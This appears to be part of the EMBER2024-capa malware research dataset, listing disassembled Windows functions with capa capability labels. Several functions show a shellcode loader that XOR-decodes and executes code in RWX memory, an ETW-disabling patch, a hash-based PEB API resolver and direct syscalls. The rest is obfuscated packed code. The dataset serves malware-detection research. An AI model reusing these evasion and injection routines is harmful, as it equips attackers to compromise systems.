joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001123f
Capabilities:
Terminate process

Disassembly:
jmp 0x140013f80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112d5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400126c0
push rbp
push rsi
push rdi
sub rsp, 0xc20
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x210
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0xbf8], rax
lea rcx, [0x1400250f3]
call fcn.1400113ed
call fcn.1400113ca
lea rax, [rbp + 0x10]
lea rcx, [0x14001c0d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x3a4], 0x401
mov dword [rbp + 0x764], 0
mov dword [rbp + 0x784], 0
jmp 0x140012749
mov eax, dword [rbp + 0x784]
inc eax
mov dword [rbp + 0x784], eax
movsxd rax, dword [rbp + 0x784]
cmp rax, 0x37d
jae 0x14001277a
movsxd rax, dword [rbp + 0x784]
movzx eax, byte [rbp + rax + 0x10]
xor eax, dword [rbp + 0x3a4]
movsxd rcx, dword [rbp + 0x784]
mov byte [rbp + rcx + 0x3d0], al
jmp 0x14001273b
mov byte [rbp + 0x7c8], 0x56
mov byte [rbp + 0x7c9], 0x69
mov byte [rbp + 0x7ca], 0x72
mov byte [rbp + 0x7cb], 0x74
mov byte [rbp + 0x7cc], 0x75
mov byte [rbp + 0x7cd], 0x61
mov byte [rbp + 0x7ce], 0x6c
mov byte [rbp + 0x7cf], 0x41
mov byte [rbp + 0x7d0], 0x6c
mov byte [rbp + 0x7d1], 0x6c
mov byte [rbp + 0x7d2], 0x6f
mov byte [rbp + 0x7d3], 0x63
mov byte [rbp + 0x7d4], 0
mov byte [rbp + 0x7f8], 0x6b
mov byte [rbp + 0x7f9], 0x65
mov byte [rbp + 0x7fa], 0x72
mov byte [rbp + 0x7fb], 0x6e
mov byte [rbp + 0x7fc], 0x65
mov byte [rbp + 0x7fd], 0x6c
mov byte [rbp + 0x7fe], 0x33
mov byte [rbp + 0x7ff], 0x32
mov byte [rbp + 0x800], 0x2e
mov byte [rbp + 0x801], 0x64
mov byte [rbp + 0x802], 0x6c
mov byte [rbp + 0x803], 0x6c
mov byte [rbp + 0x804], 0
lea rcx, [rbp + 0x7f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x7c8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x7a8], rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x37e
xor ecx, ecx
call qword [rbp + 0x7a8]
mov qword [rbp + 0x828], rax
mov r8d, 0x37e
lea rdx, [rbp + 0x3d0]
mov rcx, qword [rbp + 0x828]
call fcn.140011203
call qword [rbp + 0x828]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001bfe0]
call fcn.140011375
mov eax, edi
mov rcx, qword [rbp + 0xbf8]
xor rcx, rbp
call fcn.1400111fe
lea rsp, [rbp + 0xc00]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400112df
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400152d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400152f0
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015303
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001532d
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015341
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015353
xor al, al
jmp 0x140015371
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001536f
xor al, al
jmp 0x140015371
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113ca
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400121f0
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x1400250f3]
call fcn.1400113ed
mov byte [rbp + 4], 0x48
mov byte [rbp + 5], 0x33
mov byte [rbp + 6], 0xc0
mov byte [rbp + 7], 0xc3
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x68], rax
mov byte [rbp + 0x88], 0x45
mov byte [rbp + 0x89], 0x74
mov byte [rbp + 0x8a], 0x77
mov byte [rbp + 0x8b], 0x45
mov byte [rbp + 0x8c], 0x76
mov byte [rbp + 0x8d], 0x65
mov byte [rbp + 0x8e], 0x6e
mov byte [rbp + 0x8f], 0x74
mov byte [rbp + 0x90], 0x57
mov byte [rbp + 0x91], 0x72
mov byte [rbp + 0x92], 0x69
mov byte [rbp + 0x93], 0x74
mov byte [rbp + 0x94], 0x65
mov byte [rbp + 0x95], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb8], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x140012302
lea rdx, str.error
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001108c
jmp 0x14001231d
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
lea rcx, str.NTDLL.DLL_START_ADDRESS:__08x
call fcn.1400111e5
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x140012353
lea rdx, str.error
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001108c
jmp 0x14001237e
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
lea rcx, str._nNtProtectVirtualMemory_ADDRESS:__08x
call fcn.1400111e5
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov qword [0x14001f170], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0xb8]
mov rcx, qword [rbp + 0x68]
call qword [0x14001f170]
mov r8d, 4
lea rdx, [rbp + 4]
mov rcx, qword [rbp + 0xb8]
call fcn.140011203
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x24]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0xb8]
mov rcx, qword [rbp + 0x68]
call qword [0x14001f170]
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bdb0]
call fcn.140011375
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.1400111fe
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
xor r9, r9
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140002988
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140002afc
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x140876bc1]
jmp 0x1400029ee
mov byte [0x140876bc1], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x140876ba0]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140002afc
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x7a
mov byte [rsp + 0x21], 0x85
mov byte [rsp + 0x22], 0x81
mov byte [rsp + 0x23], 0x78
mov byte [rsp + 0x24], 0x7d
mov byte [rsp + 0x25], 0x7f
mov byte [rsp + 0x26], 0x82
mov byte [rsp + 0x27], 0x8d
mov byte [rsp + 0x28], 0x7e
mov byte [rsp + 0x29], pe_nt_image_headers64
mov byte [rsp + 0x2a], 0x79
mov byte [rsp + 0x2b], 0x75
mov byte [rsp + 0x2c], 0x84
mov byte [rsp + 0x2d], 0x85
mov byte [rsp + 0x2e], 0x8b
mov byte [rsp + 0x2f], 0x7f
mov byte [rsp + 0x30], 0x85
mov byte [rsp + 0x31], pe_nt_image_headers64
mov byte [rsp + 0x32], 0x82
mov byte [rsp + 0x33], 0x8b
mov byte [rsp + 0x34], 0x81
mov byte [rsp + 0x35], 0x76
mov byte [rsp + 0x36], 0x7c
mov byte [rsp + 0x37], 0x77
mov byte [rsp + 0x38], 0x7d
mov byte [rsp + 0x39], 0x88
mov byte [rsp + 0x3a], 0x74
mov byte [rsp + 0x3b], 0x7b
mov byte [rsp + 0x3c], 0x7b
mov byte [rsp + 0x3d], 0x7e
mov byte [rsp + 0x3e], 0x78
mov byte [rsp + 0x3f], 0x78
mov byte [rsp + 0x40], 0x13
cmp byte [0x140876b80], 0
jne 0x140002ad7
mov byte [0x140876bc1], 1
mov eax, 0
lea rcx, [0x140876ba0]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140002ab6
mov byte [0x140876b80], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x140876bc1], 0
je 0x1400029c0
lea rax, [0x140876ba0]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x140002aeb
jmp 0x1400029b9
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140008600
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140008630
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x14000862f
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140008635
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x14000862f
mov eax, 0
jmp 0x14000862f

Function at 0x140008cb0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140008c60
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140012330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140876f74]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x1400124c0
mov rax, qword [0x140876f78]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x14001237c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x140012405
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x140012360
mov rcx, rdi
call fcn.140012e90
test rax, rax
mov r12, rax
je 0x140012512
mov rax, qword [0x140876f78]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140012fd0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140876f78]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400124f5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400123fe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140012470
add dword [0x140876f74], 1
cmp ebx, 8
jae 0x140012431
test bl, 4
jne 0x1400124d0
test ebx, ebx
je 0x140012426
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x1400124e4
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x140012426
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x14001244a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x140876f78]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400123fe
call qword [0x1408782c4]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400122c0
xor esi, esi
jmp 0x140012387
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x140012426
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x140012426
mov rax, qword [0x140876f78]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.1400122c0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.1400122c0
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140012e90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140869750]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x140012eff
mov rcx, r9
call fcn.140012d60
test eax, eax
je 0x140012eff
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x140012efd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140012ef4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140012eff
add rdx, 0x28
cmp rdx, r9
jne 0x140012ee0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x140013bc0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [rcx + 8]
mov rdi, qword [rcx]
cmp rsi, 8
mov rbx, rcx
ja 0x140013c10
lea rcx, [rdi + 8]
call fcn.14001b3f8
test rax, rax
je 0x140013c52
mov rdx, qword [rbx + 0x18]
mov qword [rax], rax
lea r9, [rax + 8]
mov r8, rdi
test rdx, rdx
je 0x140013c3a
mov rcx, r9
call fcn.14001b400
mov r9, rax
mov rax, r9
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
lea rcx, [rsi + rdi + 7]
call fcn.14001b3f8
test rax, rax
je 0x140013c52
lea r9, [rax + rsi + 7]
neg rsi
mov r8, rdi
and r9, rsi
mov qword [r9 - 8], rax
mov rdx, qword [rbx + 0x18]
test rdx, rdx
jne 0x140013bf8
mov rcx, r9
xor edx, edx
call fcn.14001b408
mov r9, rax
mov rax, r9
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b3a0
nop
nop dword [rax + rax]

Function at 0x140013c60
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x140877060], 0xffffffff
mov r8d, 0xffff
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [0x140877068], rax
Function at 0x14001d3a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14085f960]
jmp 0x140013cc0

Function at 0x14001d3b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14085f960]
jmp 0x140013cc0

Function at 0x140883720
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
xor edi, dword [rsp + r8 + 0x4bd7c4ea]
mov r8, qword [rsp + 0x28]

Function at 0x140885053
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov r10, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
jbe 0x140983073
pop rax
call fcn.140886061

Function at 0x140885ad7
Capabilities:
Encode data using base64

Disassembly:
push r9
lea rsi, [rsi*2 + 0x23ba08a6]
push rdx
xchg qword [rsp + rsi*4 - 0x445dda48], rbx
mov rsi, qword [rsp + 0x38]
mov r9, qword [rsp + rdx]
jno 0x140898fba
syscall
call fcn.140963c86
mov edi, 0xaaf2851f
pop rdi
invalid
movsx r8d, r8w
lea r8, [r8 + r8*2 + 0x270440b5]
shr r8w, 6
lea rax, [rax + 1]
push r10
mov r10, r8
xor r8w, 0x2f06
jle 0x1409a1211
call fcn.14095b00f
neg qword [rsp + r9*2 + 0x30]
js 0x14088dbb7
mov r9, qword [rsp + r9*2 + 8]
lea rdi, [rdi + rdi*8 - 0x30fcb0ff]
jno 0x140910ef8
shl dword [rsp + rdx*2], 0xac
cmp dx, word [rsp + 0x31]
cmovs di, word [rsp + 1]
add byte [rsp + rdx*4], 0x90
sub dl, dil
mov rdx, qword [rsp + rdx*8 + 0x48]
test dword [rsp + 0x30], edi
call fcn.140934315

Function at 0x14088860c
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
movabs r15, 0x28ce93a2c93cb26
movabs rbp, 0x532ab02e6a89279d
mov rbp, qword [rsp + 0x20]
mov rbp, qword [rbp + riz]
add qword [rsp], 0xe5a92

Function at 0x140888eec
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
xor sil, 0x82
xor sil, 0xa2
not si
test r10b, 0xae
lea rax, [rax + 1]
je 0x14093eff6
xor ah, byte [rdx]
int3
mov r14, qword [rsp + 0x50]
shl dword [rsp + 0x60], 0xa9
je 0x1408837a0
sub dword [rsp + 0x68], 0x56a7432b
push qword [rsp + 0x58]
popfq
lea rsp, [rsp + 0x78]
ret
call fcn.14097f330
Function at 0x14088d7f3
Capabilities:
Encode data using base64

Disassembly:
shl ecx, 0xac
movabs rsi, 0x7d08750962b8eb8e
lea rsi, [rsi + riz + 0x189c9c90]
shl cl, 0x3f
mov rsi, qword [rsp + rcx*2 - 0x5f7fffe8]
mov rsi, qword [rsi + rcx - 0x2fc00000]
call fcn.14091be9e

Function at 0x14088fcf0
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
cmp r15, 0x41ac44b8
not r15
mov r14, r15
add qword [rsp + 0x10], 0x84ade
lea r14, [r14*8 + 0x1e141280]
not r14d
mov qword [rsp + 0x20], r14
not r14
add r14d, dword [rsp + r14*2 + 0x34bc4d34]
mov rdi, r14
and byte [rsp + 0x20], r15b
add r15b, 0x18
mov rdi, qword [rsp + 0x10]
mov rdi, qword [rdi]
seto byte [rsp + 0x20]
jbe 0x140899719
jo 0x140898490
shl r14b, 0xa7
lea rdi, [rdi - 0x464013fb]
jne 0x140983546
shr r15d, 0xee
mov r14d, 0x7b36528f
shr r15, 0xe1
xor dword [rsp + r15 + 0x20], 0x71ab7b12
xor r13b, 0x34
lea rbp, [rbp + 0x7292003e]
xor r13w, r13w
lea rcx, [r9 + riz - 0x54ed42c6]
neg rcx
jl 0x140973f32
xchg qword [rsp + 0x20], rbp
mov rcx, qword [rsp]
lea r13, [r13*2 - 0x556a564f]
shr r9d, 0xb8
neg r13
shl r9d, 0xfd
not r13w
bswap r13
mov r9, qword [rsp + 0x18]
neg r9w
jo 0x140967934
jno 0x140941d0c
Function at 0x1409073cf
Capabilities:
Authenticate hmac

Disassembly:
mov rcx, qword [rsp + 0x18]
jns 0x14094f150
jns 0x1409b016e
mov eax, 0xc44cc2cb
and ch, ah
vorps xmm14, xmm3, xmm3
pop rax
jno 0x197811b16
mov eax, 0xa7bc19ef
and esp, dword [rbx - 0x3c]
invalid
push qword [rsp]
popfq
lea rsp, [rsp + 0x28]
ret
call fcn.140925829
add word [rsp + 0x18], 0x6b0f
jge 0x140910671

Function at 0x14091613d
Capabilities:
Encode data using xor

Disassembly:
setns byte [rsp + r10*2 - 0x7ef613c8]
movsx r10d, r10w
shl r10, 0x23
sete byte [rsp + 0x38]
or dword [rsp + 0x38], r10d
jns 0x140931979
nop
push rcx
mov r9, r8
movabs rsi, 0x5e1fe99263a8b097
mov rsi, qword [rsp + 0x10]
mov rsi, qword [rsi + r9]
or r8w, 0x4900
test r9d, 0x52030ba5
lea r9, [r8*8 + 0x6695e306]
not r9w
jae 0x140907a20

Function at 0x14091b328
Capabilities:
Encode data using base64

Disassembly:
mov rax, qword [rsp + r14*4 - 0x207f0]
mov rax, qword [rax + rbx + 0x8201]
neg r14
lea r14, [rbx*4 + 0x42900e8a]
lea rax, [rax - 0x7f4d11cb]
sub bl, 0xd
setg bl
not bx
mov qword [rsp + r14 - 0x428e0676], rbx
xchg qword [rsp + rbx + 0x7d31], rax
mov r14, qword [rsp + r14 - 0x428e066e]

Function at 0x14091b371
Capabilities:
Encode data using base64

Disassembly:
bswap rsi
push rdx
movabs r12, 0x70b6cda648b45e26
push rsi
add qword [rsp + 0x28], 0x7dd8
neg r12
movzx rsi, si
jae 0x1409b4af4
mov rax, qword [rsp]
cmp rax, 0xffffffff8ca21016
push r15
bswap esi
call fcn.140932853

Function at 0x14091ea5c
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
imul eax, dword [rsi + 0x2e], 0xffffffc7
mov byte [rax + 0x79f7e05b], al
or byte [rsp + rcx*2], cl
mov eax, 0x15426a4c
fsubp st(5)
imul esp, dword [rax - 0x6d71bc10], 0x3b
scasd eax, dword [edi]
invalid
movsx ebx, r11b
shr r11, 8
add qword [rsp + 0x30], 0x2742
add dword [rsp + 0x30], 0x2742
call fcn.14099e138
rol dword [rbp + 0x767d328c], cl
movabs dword [0x7ca222a6287fcc7c], eax
sub eax, 0xe247297e
cdq
nop
out dx, al
jge 0x1408fca1d
jge 0x1408fca6c
cmp ebp, dword [rdx + rbx - 0x41]
xchg esp, eax
ret
not r10b
jno 0x140903890
call 0x140932170
jae 0x14093f039
mov qword [rsp + 0x30], rax
sub r11b, bl
push r13
ja 0x1408fca63
sub dl, byte [rcx]
in eax, 0x3e
imul edi, dword [rdi - 0x1f7126e6], 0x3fa1f645
invalid
jg 0x1409b50ad
jne 0x14090c22b

Function at 0x140925829
Capabilities:
Authenticate hmac

Disassembly:
bswap r13
js 0x140883c70
xor dword [rsp + r9 - 0x665f74f7], 0xe72f2d00
mov r13, qword [rsp + r9 - 0x665f7537]
xor dword [rsp + r9 - 0x665f74f7], r9d
and qword [rsp + r9 - 0x665f751f], 0xffffffffd12ad18d
not r9w
call fcn.1409257f6
Function at 0x14093e6ef
Capabilities:
Encode data using base64

Disassembly:
mov r13d, 0xba91382f
not r13b
mov qword [rsp + 0x10], rsi
call fcn.14089c597
push r13
pushfq
add qword [rsp + 0x10], 0xffffffffbf6a0e9b
movabs r13, 0x1e324284a82842ac
shr r13, 0xed
jbe 0x14095546b
xchg qword [rsp + r13 - 0xf17a], rsi
not r13d
je 0x1409627a6
jae 0x140889a69
pop rax
push rbp
movabs rbp, 0xff24be88f794b105
pushfq
shl rbp, 0x96
jbe 0x1408981e7
hlt
jbe 0x14095547c
jrcxz 0x1409554db
sal dword [rsi + 5], cl
xchg ebx, eax
xchg esi, eax
jrcxz 0x140955480
movsd dword [rdi], dword [rsi]
add byte [rbx + 0x7626a2e4], dh
jrcxz 0x140955497
jp 0x1409554c5
sub eax, 0xe2b5ee4b
out dx, al
mov ch, 0xe2
int3
mov byte [rax + 0x11], dl
pop rsp
retf 0x8463
and dh, al
rcl dword [rdi + 0x3239ed07]
cmp al, 0xba
and al, 0xf4
jmp 0x1409554ae
mov bl, al
add eax, 0x4c393ed2
lodsd eax, dword [rsi]
invalid

Function at 0x14093e726
Capabilities:
Encode data using base64

Disassembly:
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x40], 0x4ab608a0
call fcn.1409451ba

Function at 0x14093e73c
Capabilities:
Encode data using base64

Disassembly:
add qword [rsp + 0x20], 0xa2b9a
add qword [rsp + 0x30], 0xffffffffbf657624
movabs rdx, 0x9bbb0a5dc3ff73f
add qword [rsp + 0x28], 0xffffffffbf64444c
push rcx
push r10
mov rdx, qword [rsp + 0x30]
mov rdx, qword [rdx]
mov qword [rsp + 0x30], 0x721720bb
sub byte [rsp + 0x28], 0x9d
call fcn.140968ab7
call fcn.14089dca3
stosb byte [rdi], al
push 0xffffffffffffffbe
std
add al, 0xd7
pop rsp
mov gs, word [0xfb134f56]
in eax, dx
movabs dword [0x18bd5b9dee0b9d06], eax
ret
mov r8, rbx
shr bl, 0xaa
movabs r10, 0x1e8a96b6c22b7ab8
lea rcx, [rcx + 0x668b0628]
lea ecx, [rcx + 0x668b0628]
mov qword [rsp + r8 + 0x43635bc8], rbx
and bl, byte [rsp + 0x26]
jge 0x140954963
cmp eax, 0x9237491e
cdq
psubd mm2, qword [rax + 0x57]
jns 0x14093e74d
outsd dx, dword [rsi]
cmp byte [rsi], dh
xchg ebx, eax
pop rax
movups xmmword [rdi + rbx*4 + 0x4053f6c8], xmm6
invalid
xchg qword [rsp + r8 + 0x43635bf0], rcx
mov rbx, qword [rsp + rbx + 0x43635c40]
and r10, qword [rsp + r8 + 0x43635bc8]
jl 0x1409b4af4
not r8w
bswap r10
test dword [rsp + r8 + 0x4363a479], 0x629efb3c
mov r10, qword [rsp + r8 + 0x4363a491]
movabs r15, 0xe12290866987f90c
jbe fcn.140966847
or r15w, word [rsp + r8 + 0x4363a47e]
mov r8, qword [rsp + 0x28]
and r15, r15
